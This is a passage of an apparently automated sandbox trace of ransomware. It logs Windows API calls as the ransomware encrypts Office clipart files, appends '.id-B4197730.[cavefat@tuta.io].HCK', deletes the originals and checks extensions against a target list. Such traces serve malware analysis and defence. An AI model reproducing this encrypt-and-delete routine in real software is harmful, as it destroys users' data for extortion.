hTemplateFile=0x0) returned 0x368 [0180.008] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=12530) returned 1 [0180.008] CloseHandle (hObject=0x368) returned 1 [0180.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif")) returned 0x220 [0180.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.017] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.017] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.020] GetLastError () returned 0x0 [0180.020] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x30f2, lpOverlapped=0x0) returned 1 [0180.021] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3100, lpOverlapped=0x0) returned 1 [0180.022] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.022] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.022] SetEndOfFile (hFile=0x39c) returned 1 [0180.024] CloseHandle (hObject=0x39c) returned 1 [0180.025] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.025] SetEndOfFile (hFile=0x370) returned 1 [0180.030] CloseHandle (hObject=0x370) returned 1 [0180.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif")) returned 1 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString=".doc") returned 4 [0180.033] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0180.033] lstrlenW (lpString=".docx") returned 5 [0180.033] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0180.033] lstrlenW (lpString=".pdf") returned 4 [0180.033] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString=".xls") returned 4 [0180.033] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString=".xlsx") returned 5 [0180.033] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0180.033] lstrlenW (lpString=".ppt") returned 4 [0180.033] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString=".zip") returned 4 [0180.033] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString=".rar") returned 4 [0180.033] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString=".bz2") returned 4 [0180.033] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0180.033] lstrlenW (lpString=".7z") returned 3 [0180.033] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString=".dbf") returned 4 [0180.033] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString=".1cd") returned 4 [0180.033] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString=".jpg") returned 4 [0180.033] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString=".doc") returned 4 [0180.033] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0180.033] lstrlenW (lpString=".docx") returned 5 [0180.033] lstrcmpiW (lpString1=".docx", lpString2="G.GIF") returned -1 [0180.033] lstrlenW (lpString=".pdf") returned 4 [0180.033] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString=".xls") returned 4 [0180.033] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString=".xlsx") returned 5 [0180.033] lstrcmpiW (lpString1=".xlsx", lpString2="G.GIF") returned -1 [0180.033] lstrlenW (lpString=".ppt") returned 4 [0180.033] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0180.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.033] lstrlenW (lpString=".zip") returned 4 [0180.034] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0180.034] lstrlenW (lpString=".rar") returned 4 [0180.034] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0180.034] lstrlenW (lpString=".bz2") returned 4 [0180.034] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0180.034] lstrlenW (lpString=".7z") returned 3 [0180.034] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0180.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.034] lstrlenW (lpString=".dbf") returned 4 [0180.034] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0180.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.034] lstrlenW (lpString=".1cd") returned 4 [0180.034] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0180.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF") returned 68 [0180.034] lstrlenW (lpString=".jpg") returned 4 [0180.034] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0180.034] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0180.034] lstrlenW (lpString="PH03014_.GIF") returned 12 [0180.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.035] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=18898) returned 1 [0180.035] CloseHandle (hObject=0x2fc) returned 1 [0180.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif")) returned 0x220 [0180.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.039] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.039] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.043] GetLastError () returned 0x0 [0180.043] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x49d2, lpOverlapped=0x0) returned 1 [0180.045] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x49e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x49e0, lpOverlapped=0x0) returned 1 [0180.046] ReadFile (in: hFile=0x368, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.046] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.046] SetEndOfFile (hFile=0x300) returned 1 [0180.049] CloseHandle (hObject=0x300) returned 1 [0180.050] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.050] SetEndOfFile (hFile=0x368) returned 1 [0180.053] CloseHandle (hObject=0x368) returned 1 [0180.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03014_.gif")) returned 1 [0180.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.056] lstrlenW (lpString=".doc") returned 4 [0180.056] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0180.056] lstrlenW (lpString=".docx") returned 5 [0180.056] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0180.056] lstrlenW (lpString=".pdf") returned 4 [0180.057] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString=".xls") returned 4 [0180.057] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString=".xlsx") returned 5 [0180.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0180.057] lstrlenW (lpString=".ppt") returned 4 [0180.057] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString=".zip") returned 4 [0180.057] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString=".rar") returned 4 [0180.057] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString=".bz2") returned 4 [0180.057] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0180.057] lstrlenW (lpString=".7z") returned 3 [0180.057] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString=".dbf") returned 4 [0180.057] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString=".1cd") returned 4 [0180.057] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString=".jpg") returned 4 [0180.057] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString=".doc") returned 4 [0180.057] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0180.057] lstrlenW (lpString=".docx") returned 5 [0180.057] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0180.057] lstrlenW (lpString=".pdf") returned 4 [0180.057] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString=".xls") returned 4 [0180.057] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString=".xlsx") returned 5 [0180.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0180.057] lstrlenW (lpString=".ppt") returned 4 [0180.057] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString=".zip") returned 4 [0180.057] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString=".rar") returned 4 [0180.057] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0180.057] lstrlenW (lpString=".bz2") returned 4 [0180.057] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0180.057] lstrlenW (lpString=".7z") returned 3 [0180.057] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString=".dbf") returned 4 [0180.057] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0180.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.057] lstrlenW (lpString=".1cd") returned 4 [0180.058] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0180.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03014_.GIF") returned 68 [0180.058] lstrlenW (lpString=".jpg") returned 4 [0180.058] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0180.058] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0180.058] lstrlenW (lpString="PH03224I.JPG") returned 12 [0180.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.059] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=42053) returned 1 [0180.059] CloseHandle (hObject=0x300) returned 1 [0180.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg")) returned 0x220 [0180.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.068] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.068] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.070] GetLastError () returned 0x0 [0180.070] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa445, lpOverlapped=0x0) returned 1 [0180.074] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa450, lpOverlapped=0x0) returned 1 [0180.075] ReadFile (in: hFile=0x39c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.075] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.075] SetEndOfFile (hFile=0x300) returned 1 [0180.077] CloseHandle (hObject=0x300) returned 1 [0180.081] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.081] SetEndOfFile (hFile=0x39c) returned 1 [0180.085] CloseHandle (hObject=0x39c) returned 1 [0180.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.086] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03224i.jpg")) returned 1 [0180.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.088] lstrlenW (lpString=".doc") returned 4 [0180.088] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.088] lstrlenW (lpString=".docx") returned 5 [0180.088] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.088] lstrlenW (lpString=".pdf") returned 4 [0180.088] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.088] lstrlenW (lpString=".xls") returned 4 [0180.088] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.088] lstrlenW (lpString=".xlsx") returned 5 [0180.088] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.088] lstrlenW (lpString=".ppt") returned 4 [0180.088] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.088] lstrlenW (lpString=".zip") returned 4 [0180.088] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.088] lstrlenW (lpString=".rar") returned 4 [0180.088] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.088] lstrlenW (lpString=".bz2") returned 4 [0180.088] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.088] lstrlenW (lpString=".7z") returned 3 [0180.088] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.088] lstrlenW (lpString=".dbf") returned 4 [0180.088] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.088] lstrlenW (lpString=".1cd") returned 4 [0180.088] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.088] lstrlenW (lpString=".jpg") returned 4 [0180.088] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.088] lstrlenW (lpString=".doc") returned 4 [0180.088] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0180.088] lstrlenW (lpString=".docx") returned 5 [0180.088] lstrcmpiW (lpString1=".docx", lpString2="I.JPG") returned -1 [0180.088] lstrlenW (lpString=".pdf") returned 4 [0180.088] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0180.088] lstrlenW (lpString=".xls") returned 4 [0180.088] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0180.088] lstrlenW (lpString=".xlsx") returned 5 [0180.088] lstrcmpiW (lpString1=".xlsx", lpString2="I.JPG") returned -1 [0180.089] lstrlenW (lpString=".ppt") returned 4 [0180.089] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0180.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.089] lstrlenW (lpString=".zip") returned 4 [0180.089] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0180.089] lstrlenW (lpString=".rar") returned 4 [0180.089] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0180.089] lstrlenW (lpString=".bz2") returned 4 [0180.089] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0180.089] lstrlenW (lpString=".7z") returned 3 [0180.089] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0180.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.089] lstrlenW (lpString=".dbf") returned 4 [0180.089] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0180.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.089] lstrlenW (lpString=".1cd") returned 4 [0180.089] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0180.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03224I.JPG") returned 68 [0180.089] lstrlenW (lpString=".jpg") returned 4 [0180.089] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0180.089] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.089] lstrlenW (lpString="PRRT.WMF") returned 8 [0180.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.091] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3830) returned 1 [0180.091] CloseHandle (hObject=0x300) returned 1 [0180.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft 